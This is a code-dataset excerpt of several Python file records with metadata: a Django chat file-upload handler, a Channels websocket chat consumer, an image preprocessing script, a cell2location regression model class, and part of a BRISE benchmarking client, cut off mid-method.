openoffice_types:\n return 'openoffice', openoffice_icon_url\n if ext in video_types:\n return 'video', video_icon_url\n if ext == 'doc':\n return 'word', word_icon_url\n if ext in ['ppt', 'pps']:\n return 'powerpoint', powerpoint_icon_url\n if ext == 'xls':\n return 'excel', excel_icon_url\n if ext == 'pdf':\n return 'pdf', pdf_icon_url\n if ext == 'txt':\n return 'text', text_icon_url\n return 'unknown', file_icon_url\n\ndef saveFile(request, chat_id, field_name):\n file = None\n ext = None\n size = None\n try:\n if not request.FILES:\n return False, 'invalid_upload', '', '', '', '', ''\n \n file = request.FILES[field_name]\n filename = file.name.lower()\n \n filename_parts = filename.split('.')\n if len(filename_parts) == 1:\n ext = ''\n else:\n ext = filename_parts[len(filename_parts) -1]\n \n if ext in ['exe', 'vbs', 'wmf']:\n return False, 'unsupported_file_type', '', '', '', '', ''\n \n filecontent = file.read()\n size = len(filecontent)\n if size > max_per_file_size:\n return False, 'large_upload', '', '', '', '', ''\n \n #save the main file\n file_dir = config.website_base_path + '/chat/data/' + chat_id\n if not os.path.exists(file_dir):\n os.mkdir(file_dir)\n \n filename = getNewFilename(file_dir, filename)\n file_path = file_dir + '/' + filename\n f = open(file_path, 'wb')\n f.write(filecontent)\n f.close()\n \n file_type, thumbnail_url = getFileTypeNThumbnail(ext)\n \n if file_type == 'image':\n try:\n im = Image.open(file_path).convert('RGB')\n im.thumbnail((128,128), Image.ANTIALIAS)\n tmp_path = file_dir + '/preview-' + filename\n im.save(tmp_path, 'JPEG')\n thumbnail_url = dataplus.getStaticUrl(tmp_path)\n except:\n pass\n \n return True, '', filename, dataplus.getStaticUrl(file_path), file_type, size, thumbnail_url\n except:\n logError('File upload error: ' + str(sys.exc_info()[0]) + ', ' + str(sys.exc_info()[1]))\n return False, 'unknown', '', '', '', '', ''\n\ndef getNewFilename(folderPath, filename):\n namepart = ''\n ext = ''\n idx = filename.find('.')\n if idx != -1:\n namepart = filename[:idx]\n ext = filename[idx:]\n else:\n namepart = filename\n \n new_filename = filename\n ctr = 0\n while(os.path.exists(folderPath + '/' + new_filename)):\n ctr += 1\n new_filename = namepart + '(' + str(ctr) + ')' + ext\n \n return new_filename\n\ndef handle(request): \n if request.method == 'POST':\n upload_id = dataplus.dictGetVal(request.REQUEST, 'uploadId')\n if not upload_id:\n return getRenderedResponse('', False, 'invalid_upload_id')\n \n chat_id = dataplus.dictGetVal(request.REQUEST, 'chatId')\n if not chat_id:\n return getRenderedResponse(upload_id, False, 'invalid_chat_id')\n \n success, error_code, filename, file_url, file_type, size, thumbnail_url = saveFile(request, chat_id, 'uploadFile')\n if success:\n session_id = request.COOKIES['session_id']\n result = livewire_client.query('addFile', [session_id, chat_id, filename, file_url, file_type, size, thumbnail_url, ''])\n if result.startswith('error:'):\n return getRenderedResponse(upload_id, False, result[6:])\n \n return getRenderedResponse(upload_id, True, '')\n else:\n return getRenderedResponse(upload_id, False, error_code)\n\ndef getRenderedResponse(upload_id, success, error_code):\n return siteaction.render_to_response('chat/fileupload.htm', { 'upload_id':upload_id,\n 'success':('false','true')[success],\n 'error_code':error_code})\n\ndef logError(err):\n try:\n file = open('/apps/socialray/var/chat_fileupload_errors.txt', 'a')\n file.write(str(datetime.datetime.utcnow()) + '\\t' + err + '\\n')\n except:\n pass\n finally:\n file.close()\n", "sub_path": "website/bigfoot/views/chat_fileupload.py", "file_name": "chat_fileupload.py", "file_ext": "py", "file_size_in_byte": 6689, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 17, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 17, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 18, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 18, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 19, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 19, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 20, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 20, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 21, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 21, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 22, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 22, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 23, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 23, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 24, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 24, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 25, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 25, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 26, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 26, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 27, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 27, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 28, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 28, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.config.website_base_path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "website.bigfoot.utils.config", "line_number": 83, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 85, "usage_type": "call"}, {"api_name": "Image.open", "line_number": 97, "usage_type": "call"}, {"api_name": "Image.ANTIALIAS", "line_number": 98, "usage_type": "attribute"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 101, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 101, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.getStaticUrl", "line_number": 105, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 105, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "website.bigfoot.utils.dataplus.dictGetVal", "line_number": 130, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 130, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.dataplus.dictGetVal", "line_number": 134, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.dataplus", "line_number": 134, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.livewire_client.query", "line_number": 141, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.livewire_client", "line_number": 141, "usage_type": "name"}, {"api_name": "website.bigfoot.utils.siteaction.render_to_response", "line_number": 150, "usage_type": "call"}, {"api_name": "website.bigfoot.utils.siteaction", "line_number": 150, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 157, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 157, "usage_type": "attribute"}]} {"seq_id": "310829262", "text": "import json\r\n\r\nfrom channels.db import database_sync_to_async\r\nfrom channels.generic.websocket import AsyncWebsocketConsumer\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom .models import Chat, OneOnOneRoom\r\nfrom django.shortcuts import get_object_or_404\r\n\r\n\r\nclass ChatConsumer(AsyncWebsocketConsumer):\r\n async def connect(self):\r\n self.room_name = self.scope['url_route']['kwargs']['room_name']\r\n self.room_group_name = 'chat_%s' % self.room_name\r\n\r\n\r\n # Join room group\r\n await self.channel_layer.group_add(\r\n self.room_group_name,\r\n self.channel_name\r\n )\r\n\r\n await self.accept()\r\n\r\n async def disconnect(self, close_code):\r\n # Leave room group\r\n await self.channel_layer.group_discard(\r\n self.room_group_name,\r\n self.channel_name\r\n )\r\n\r\n # Receive message from WebSocket\r\n async def receive(self, text_data):\r\n text_data_json = json.loads(text_data)\r\n message = text_data_json['message']\r\n save_data = await self.save_data(message)\r\n data = {\r\n 'sender': save_data.sender.first_name,\r\n 'message': save_data.message,\r\n }\r\n # Send message to room group\r\n await self.channel_layer.group_send(\r\n self.room_group_name,\r\n {\r\n 'type': 'chat_message',\r\n 'message': data\r\n }\r\n )\r\n\r\n # Receive message from room group\r\n async def chat_message(self, event):\r\n message = event['message']\r\n\r\n # Send message to WebSocket\r\n await self.send(text_data=json.dumps({\r\n 'message': message\r\n }))\r\n\r\n @database_sync_to_async\r\n def save_data(self, message):\r\n this_sender = self.scope['user']\r\n this_room = get_object_or_404(OneOnOneRoom, room_name=self.room_name)\r\n message = Chat.objects.create(\r\n message=message,\r\n room_name=this_room,\r\n sender=this_sender,\r\n )\r\n return message\r\n\r\n", "sub_path": "net_pr/net_app/consumers.py", "file_name": "consumers.py", "file_ext": "py", "file_size_in_byte": 2052, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "channels.generic.websocket.AsyncWebsocketConsumer", "line_number": 11, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 62, "usage_type": "call"}, {"api_name": "models.OneOnOneRoom", "line_number": 62, "usage_type": "argument"}, {"api_name": "models.Chat.objects.create", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Chat.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Chat", "line_number": 63, "usage_type": "name"}, {"api_name": "channels.db.database_sync_to_async", "line_number": 59, "usage_type": "name"}]} {"seq_id": "604917350", "text": "import os\r\nimport re\r\nimport argparse\r\nfrom PIL import Image\r\n\r\ndef pngs_path(dir_path):\r\n '''\r\n # Return: absolute path list\r\n '''\r\n folder = os.listdir(dir_path)\r\n\r\n #pngファイル以外のファイルは削除\r\n pattern = r\".*.png\"\r\n p = re.compile(pattern)\r\n pngs = list(filter(lambda x: p.match(x),folder))\r\n abs_pngs = list(map(lambda x:os.path.join(dir_path,x),pngs))\r\n return abs_pngs\r\n\r\ndef open_image(path_list):\r\n '''\r\n # Return: PIL_object\r\n '''\r\n return map(lambda x: Image.open(x),path_list)\r\n\r\ndef trim_images(pil_imgss,x,y,H,W):\r\n '''\r\n # Arguments:\r\n x(int): トリミングする画像の始点x\r\n y(int): トリミングする画像の始点y\r\n H(int): トリミングの高さ\r\n W(int): トリミングの幅\r\n\r\n # Return: PIL object iterator\r\n '''\r\n return map(lambda k: k.crop((x,y,x+W,y+H)),pil_imgs)\r\n\r\ndef resize_images(pil_imgs,H,W):\r\n '''\r\n # Arguments:\r\n H(int): トリミングの高さ\r\n W(int): トリミングの幅\r\n\r\n # Return: PIL object iterator\r\n '''\r\n return map(lambda k: k.resize((W,H)),pil_imgs)\r\n\r\ndef rotate_images(pil_imgs,degree_lis):\r\n '''\r\n # Arguments:\r\n degree_lis(list): (例)[0,30,60,90]\r\n\r\n # Return: list\r\n '''\r\n rotated_imgs =[]\r\n for img in pil_imgs:\r\n for deg in degree_lis:\r\n rotated = img.rotate(deg,resample=Image.NEAREST)\r\n rotated_imgs.append(rotated)\r\n\r\n return rotated_imgs\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description='image_preprocessing')\r\n parser.add_argument('-t',help='trimming',action='store_true')\r\n parser.add_argument('-re',help='resize',action='store_true')\r\n parser.add_argument('-ro',help='rotate',action='store_true')\r\n args = parser.parse_args()\r\n\r\n '''\r\n 使い方\r\n 1, 画像が入ったフォルダまでの絶対パスを指定\r\n 2, 保存先までの絶対パスを指定\r\n 3, -t -ro -re　目的にあったオプションをつけてプログラムを実行\r\n '''\r\n\r\n d_path = r'C:\\Users\\a20083\\tkouno\\src\\temp_img'\r\n s_path = r'C:\\Users\\a20083\\tkouno\\src\\temp_img\\crop'\r\n pil_imgs = open_image(pngs_path(d_path))\r\n\r\n if args.t :\r\n pil_imgs = trim_images(pil_imgs,300,300,600,600)\r\n if args.re:\r\n pil_imgs = resize_images(pil_imgs,100,100)\r\n if args.ro:\r\n pil_imgs = rotate_images(pil_imgs,[90])\r\n\r\n for num,img in enumerate(pil_imgs):\r\n img.save(os.path.join(s_path,f'{num}.png'))\r\n", "sub_path": "src/util/image_prepro.py", "file_name": "image_prepro.py", "file_ext": "py", "file_size_in_byte": 2555, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.listdir", "line_number": 10, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "PIL.Image.NEAREST", "line_number": 57, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 57, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}]} {"seq_id": "450083084", "text": "# -*- coding: utf-8 -*-\n\"\"\"RegressionTorchModel Base class for model with no cell specific parameters\"\"\"\n\nimport matplotlib.pyplot as plt\n# +\nimport numpy as np\nimport pandas as pd\n\nfrom cell2location.models.torch_model import TorchModel\n\n\nclass RegressionTorchModel(TorchModel):\n r\"\"\"RegressionTorchModel Base class for model with no cell specific parameters\n\n :param sample_col: str with column name in cell2covar that denotes sample\n :param cell2covar: pd.DataFrame with covariates in columns and cells in rows, rows should be named.\n :param cell_state_mat: Pandas data frame with gene signatures - genes in row, cell states or factors in columns\n :param X_data: Numpy array of gene expression (cols) in spatial locations (rows)\n :param learning_rate: ADAM learning rate for optimising Variational inference objective\n :param n_iter: number of training iterations\n :param total_grad_norm_constraint: gradient constraints in optimisation\n \"\"\"\n\n def __init__(\n self,\n sample_id,\n cell2covar: pd.DataFrame,\n X_data: np.ndarray,\n data_type='float32',\n n_iter=200000,\n learning_rate=0.001,\n total_grad_norm_constraint=200,\n verbose=True,\n var_names=None, var_names_read=None,\n obs_names=None, fact_names=None,\n minibatch_size=None, minibatch_seed=[41, 56, 345],\n phi_hyp_prior=None, prior_eps=1e-8,\n nb_param_conversion_eps=1e-8,\n use_cuda=False,\n use_average_as_initial_value=True,\n stratify_cv=None\n ):\n\n ############# Initialise parameters ################\n # convert covariates to binary matrix\n # test for column types, get dummies for categorical / character, and just copy over continous\n cell2covar_df = pd.get_dummies(cell2covar.loc[:, ~cell2covar.columns.isin([sample_id])])\n cell2sample_df = pd.get_dummies(cell2covar[[sample_id]])\n cell2sample_covar_df = pd.concat([cell2sample_df, cell2covar_df], axis=1)\n\n fact_names = cell2sample_covar_df.columns\n n_fact = cell2sample_covar_df.shape[1]\n\n # extract obs names and sample id\n obs_names = cell2covar.index\n sample_id = cell2covar[sample_id]\n\n super().__init__(X_data, n_fact,\n data_type, n_iter,\n learning_rate, total_grad_norm_constraint,\n verbose, var_names, var_names_read,\n obs_names, fact_names, sample_id, use_cuda)\n\n self.nb_param_conversion_eps = nb_param_conversion_eps\n\n self.cell_factors_df = None\n self.minibatch_size = minibatch_size\n self.minibatch_seed = minibatch_seed\n self.n_cells_total = self.n_cells\n self.which_sample = self.fact_names.isin(cell2sample_df.columns)\n self.n_samples = np.sum(self.which_sample)\n self.n_covar = self.n_fact - self.n_samples\n\n self.phi_hyp_prior = phi_hyp_prior\n self.prior_eps = prior_eps\n\n self.cell2sample_df = cell2sample_df\n self.cell2sample_covar_df = cell2sample_covar_df\n # convert to np.ndarray\n self.cell2sample_mat = cell2sample_df.values\n self.cell2sample_covar_mat = cell2sample_covar_df.values\n\n # find mean and variance for each gene\n self.gene_mean = (self.X_data + self.prior_eps).mean(0).astype(self.data_type).reshape((1, self.n_genes))\n self.noise_gene_mean = (self.gene_mean / 10).astype(self.data_type).reshape((1, self.n_genes))\n self.prior_gene_mean = np.concatenate([self.noise_gene_mean, self.gene_mean], axis=0)\n\n self.stratify_cv = stratify_cv\n\n self.extra_data['cell2sample_covar'] = self.cell2sample_covar_mat\n\n if use_average_as_initial_value:\n # compute initial value for parameters: cluster averages\n self.cell2sample_covar_sig_mat = self.cell2sample_covar_mat / self.cell2sample_covar_mat.sum(0)\n self.clust_average_mat = np.dot(self.cell2sample_covar_sig_mat.T, self.X_data) + self.prior_eps\n self.clust_average_mat[self.which_sample, :] = self.clust_average_mat[self.which_sample, :] / 10\n\n # aver = get_cluster_averages(adata_snrna_raw, 'annotation_1') + self.prior_eps\n # variances = get_cluster_variances(adata_snrna_raw, 'annotation_1') + self.prior_eps\n # shape = aver ** 2 / variances\n # shape = shape.mean(1).values\n # overdisp_mean = shape.reshape((1, adata_snrna_raw.shape[1]))\n self.gene_E_mat = None # np.sqrt(1 / overdisp_mean) # get gene_E ~ Exponential()\n else:\n self.clust_average_mat = None\n self.gene_E_mat = None\n\n # =====================Other functions======================= #\n def plot_gene_budget(self):\n\n plt.hist(np.log10(self.samples['post_sample_means']['gene_level'][:, 0]), bins=50)\n plt.xlabel('Gene expression level (hierarchical)')\n plt.title('Gene expression level (hierarchical)')\n plt.tight_layout()\n\n def sample2df(self, gene_node_name='gene_factors'):\n r\"\"\" Export cell factors as Pandas data frames.\n\n :param node_name: name of the cell factor model parameter to be exported\n :param gene_node_name: name of the gene factor model parameter to be exported\n :return: 8 Pandas dataframes added to model object:\n .covariate_effects, .covariate_effects_sd, .covariate_effects_q05, .covariate_effects_q95\n .sample_effects, .sample_effects_sd, .sample_effects_q05, .sample_effects_q95\n \"\"\"\n\n # export parameters for covariate effects\n cov_ind = ~ self.which_sample\n self.covariate_effects = \\\n pd.DataFrame.from_records(self.samples['post_sample_means'][gene_node_name][cov_ind, :].T,\n index=self.var_names,\n columns=['mean_' + 'cov_effect_' + i for i in self.fact_names[cov_ind]])\n\n # export parameters for sample effects\n sample_ind = self.which_sample\n self.sample_effects = \\\n pd.DataFrame.from_records(self.samples['post_sample_means'][gene_node_name][sample_ind, :].T,\n index=self.var_names,\n columns=['mean_' + 'sample_effect' + i for i in self.fact_names[sample_ind]])\n\n def annotate_cell_adata(self, adata):\n r\"\"\" Add covariate and sample coefficients to anndata.var\n\n :param adata: anndata object to annotate\n :return: updated anndata object\n \"\"\"\n\n if self.cell_factors_df is None:\n self.sample2df()\n\n ### Covariate effect\n # add gene factors to adata\n adata.var[self.covariate_effects.columns] = self.covariate_effects.loc[adata.var.index, :]\n\n ### Sample effects\n # add gene factors to adata\n adata.var[self.sample_effects.columns] = self.sample_effects.loc[adata.var.index, :]\n\n return (adata)\n", "sub_path": "cell2location/models/regression_torch_model.py", "file_name": "regression_torch_model.py", "file_ext": "py", "file_size_in_byte": 7090, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "cell2location.models.torch_model.TorchModel", "line_number": 12, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.get_dummies", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 136, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 136, "usage_type": "attribute"}]} {"seq_id": "414340454", "text": "import time\nimport random\nimport os\nimport logging\nimport hashlib\nimport json\nimport glob\nimport shutil\nimport argparse\nfrom string import ascii_lowercase\nfrom functools import wraps\nfrom copy import deepcopy\nfrom jinja2 import Environment, FileSystemLoader\nfrom plotly.offline import plot\n\n# Tools\nfrom shared_tools import restore, get_resource_as_string, MainAPIClient, chown_files_in_dir\n# from shared_tools import export_plot\nfrom tools.initial_config import load_experiment_description\nfrom logger.default_logger import BRISELogConfigurator\n\n# Plots\nfrom plots.table import table\nfrom plots.repeat_vs_avg import repeat_vs_avg\nfrom plots.improvements import improvements\nfrom plots.box_statistic import box_statistic\nfrom plots.exp_config import exp_description_highlight\n\n# Configuring logging\nBRISELogConfigurator()\n\n\ndef build_benchmark_report():\n \"\"\" Generate report files from the Experiment class instances.\n \"\"\"\n folder_with_dumps = './results/serialized/'\n # Container creation performs --volume on `./results/` folder. Change wisely folder_with_resport.\n folder_with_resport = './results/reports/'\n\n # ------- List with name experiment instances. Default from ./results/serialized/ folder\n experiment_dumps = [f for f in os.listdir(folder_with_dumps) if (f[-4:] == '.pkl')]\n # -------\n logger = logging.getLogger(__name__)\n if experiment_dumps:\n logger.info(\"Selected Experiment dumps for report: %s\" % experiment_dumps)\n else:\n logger.error(\"Directory '%s' is empty. Terminating.\" % folder_with_dumps)\n return\n\n # --- Generate template\n file_loader = FileSystemLoader(\"./templates\")\n env = Environment(loader=file_loader)\n env.globals['get_resource_as_string'] = get_resource_as_string\n template = env.get_template('index.html')\n\n # --- Restore experiments for benchmarking\n exp_list = restore(*experiment_dumps)\n\n # --- Generate plot's hooks\n tab = plot(table(exp_list), include_plotlyjs=False, output_type='div')\n impr = plot(improvements(exp_list),\n include_plotlyjs=False,\n output_type='div')\n all_results = plot(box_statistic(exp_list),\n include_plotlyjs=False,\n output_type='div')\n rep = ' '.join(plot(repeat_vs_avg(exp), include_plotlyjs=False,\n output_type='div') for exp in exp_list)\n time_mark = time.strftime('%Y-%m-%d %A', time.localtime())\n\n # Compose HTML\n html = template.render(\n table=tab,\n impr=impr,\n repeat_vs_avg=rep,\n box_plot=all_results,\n time=time_mark,\n print_config=exp_description_highlight(exp_list)\n )\n\n # --- Save results\n # Write HTML report\n suffix = ''.join(random.choice(ascii_lowercase) for _ in range(10))\n with open(\"{}report_{}.html\".format(folder_with_resport, suffix), \"w\", encoding='utf-8') as outf:\n outf.write(html)\n\n # # Export plots\n # for plt in [table(exp_list), improvements(exp_list), box_statistic(exp_list)]:\n # export_plot(plot=plt, wight=1200, height=600)\n\n # Using a host machine User ID to change the owner for the files(initially, the owner was a root).\n chown_files_in_dir(folder_with_resport)\n\n\nclass BRISEBenchmark:\n \"\"\"\n Class for building and running the benchmarking scenarios.\n \"\"\"\n\n def __init__(self, main_api_addr: str, results_storage: str):\n \"\"\"\n Initializes benchmarking client.\n :param main_api_addr: str. URL of main node API. For example \"http://main-node:49152\"\n :param results_storage: str. Folder where to store benchmark results (dump files of experiments).\n \"\"\"\n os.sys.argv.pop() # Because load_experiment_description will consider 'benchmark' as Experiment Description).\n self._base_experiment_description = load_experiment_description(\"./Resources/SA/SAExperiment.json\")\n self.results_storage = results_storage if results_storage[-1] == \"/\" else results_storage + \"/\"\n self.main_api_client = MainAPIClient(main_api_addr, dump_storage=results_storage)\n self.logger = logging.getLogger(__name__)\n self.counter = 1\n self.experiments_to_be_performed = [] # List of experiment IDs\n self.is_calculating_number_of_experiments = False\n\n @property\n def base_experiment_description(self):\n return deepcopy(self._base_experiment_description)\n\n @base_experiment_description.setter\n def base_experiment_description(self, description):\n if not self._base_experiment_description:\n self._base_experiment_description = deepcopy(description)\n else:\n self.logger.error(\"Unable to update Experiment Description: Read-only property.\")\n\n def benchmarkable(benchmarking_function):\n \"\"\"\n Decorator that enables a pre calculation of a number of experiments in implemented benchmark scenario\n without actually running them. It is not essential for benchmarking, but could be useful.\n :return: original function, wrapped by wrapper.\n \"\"\"\n @wraps(benchmarking_function)\n def wrapper(self, *args, **kwargs):\n logging.info(\"Calculating number of Experiments to perform during benchmark.\")\n self.is_calculating_number_of_experiments = True\n logging_level = self.logger.level\n self.logger.setLevel(logging.WARNING)\n benchmarking_function(self, *args, *kwargs)\n self.logger.setLevel(logging_level)\n logging.info(\"Benchmark is going to run %s unique Experiments (please, take into account also the repetitions).\"\n % len(self.experiments_to_be_performed))\n self.is_calculating_number_of_experiments = False\n benchmarking_function(self, *args, *kwargs)\n return wrapper\n\n def execute_experiment(self, experiment_description: dict, number_of_repetitions: int = 3, wait_for_results: int=30*60):\n \"\"\"\n Check how many dumps are available for particular Experiment Description.\n\n :param experiment_description: Dict. Experiment Description\n :param number_of_repetitions: int. number of times to execute the same Experiment.\n :param wait_for_results:\n If bool ``False`` - client will only send an Experiment Description and return response with\n the Main node status.\n If bool ``True`` was specified - client will wait until the end of the Experiment.\n\n If numeric value (int or float) were specified - client will wait specified amount of time (in seconds),\n after elapsing - ``main_stop`` command will be sent to terminate the Main node, current state of Experiment\n will be reported be main node and saved by benchmark.\n\n :return: int. Number of times experiment dump was found in a storage.\n \"\"\"\n experiment_id = hashlib.sha1(json.dumps(experiment_description, sort_keys=True).encode(\"utf-8\")).hexdigest()\n dump_file_name = \"exp_{0}_{1}\".format(\n experiment_description['TaskConfiguration']['Scenario'][\"ws_file\"], experiment_id)\n if self.is_calculating_number_of_experiments:\n self.experiments_to_be_performed.append(experiment_id)\n else:\n number_of_available_repetitions = sum(dump_file_name in file for file in os.listdir(self.results_storage))\n while number_of_available_repetitions < number_of_repetitions:\n if self.main_api_client.perform_experiment(experiment_description, wait_for_results=wait_for_results):\n number_of_available_repetitions += 1\n self.logger.info(\"Executed Experiment #{c} out of {m_c}. ID: {eid}. Repetition: {r}.\".format(\n c=self.counter,\n m_c=len(self.experiments_to_be_performed) * number_of_repetitions,\n eid=experiment_id,\n r=number_of_available_repetitions\n )\n )\n self.counter += 1\n return number_of_repetitions\n\n def move_redundant_experiments(self, location: str):\n \"\"\"\n Move all experiment dumps that are not part of current benchmark to separate 'location' folder.\n :param location: (str). Folder path where redundant experiment dumps will be stored.\n \"\"\"\n os.makedirs(location, exist_ok=True)\n\n # Mark what to move\n redundant_experiment_files = glob.glob(self.results_storage + \"*.pkl\")\n for experiment_id in self.experiments_to_be_performed:\n for file in redundant_experiment_files:\n if experiment_id in file:\n redundant_experiment_files.remove(file)\n\n # Move\n for file in redundant_experiment_files:\n shutil.move(file, location + os.path.basename(file))\n\n\n @benchmarkable\n def benchmark_repeater(self):\n \"\"\"\n This is an EXAMPLE of the benchmark scenario.\n\n While benchmarking BRISE, one would like to see the influence of changing some particular parameters on the\n overall process of running BRISE, on the results quality and on the effort.\n\n In this particular example, the Repeater benchmark described in following way:\n 1. Using base Experiment Description for Energy Consumption.\n 2. Change ONE parameter of Repeater in a time.\n 2.1. For each Repeater type (Default, Student and Student with enabled model-awareness).\n 2.2. For each Target System Scenario (ws_file).\n 3. Execute BRISE with this changed Experiment Description 3 times and save Experiment dump after\n each execution.\n\n Do not forget to call your benchmarking scenario in a code block of the `run_benchmark` function,\n highlighted by\n # --- Add User defined benchmark scenarios execution below\n\n :return: int, number of Experiments that were executed and experiment dumps are stored.\n Actually you could return whatever you want, here this number is returned only for reporting purposes.\n \"\"\"\n def_rep_skeleton = {\"Repeater\": {\"Type\": \"default\",\n \"Parameters\": {\n \"MaxTasksPerConfiguration\": 10}}}\n student_rep_skeleton = {\"Repeater\": {\"Type\": \"student_deviation\",\n \"Parameters\": {\n \"ModelAwareness\": {\n \"MaxAcceptableErrors\": [50],\n \"RatiosMax\": [10],\n \"isEnabled\": True\n },\n \"MaxTasksPerConfiguration\": 10,\n \"MinTasksPerConfiguration\": 2,\n \"DevicesScaleAccuracies\": [0],\n \"BaseAcceptableErrors\": [5],\n \"DevicesAccuracyClasses\": [0],\n \"ConfidenceLevels\": [0.95]}}}\n\n for ws_file in os.listdir('csv'):\n # Skip ML scenarios, only the Energy consumption scenarios are needed.\n if ws_file in [\"taskNB1.csv\", \"NB_final_result.csv\"]:\n continue\n experiment_description = self.base_experiment_description\n experiment_description['TaskConfiguration']['Scenario']['ws_file'] = ws_file\n self.logger.info(\"Benchmarking next Scenario file(ws_file): %s\" % ws_file)\n\n # benchmarking a default repeater\n experiment_description.update(deepcopy(def_rep_skeleton))\n self.execute_experiment(experiment_description)\n\n # benchmarking a student repeater with disabled model awareness\n experiment_description.update(deepcopy(student_rep_skeleton))\n 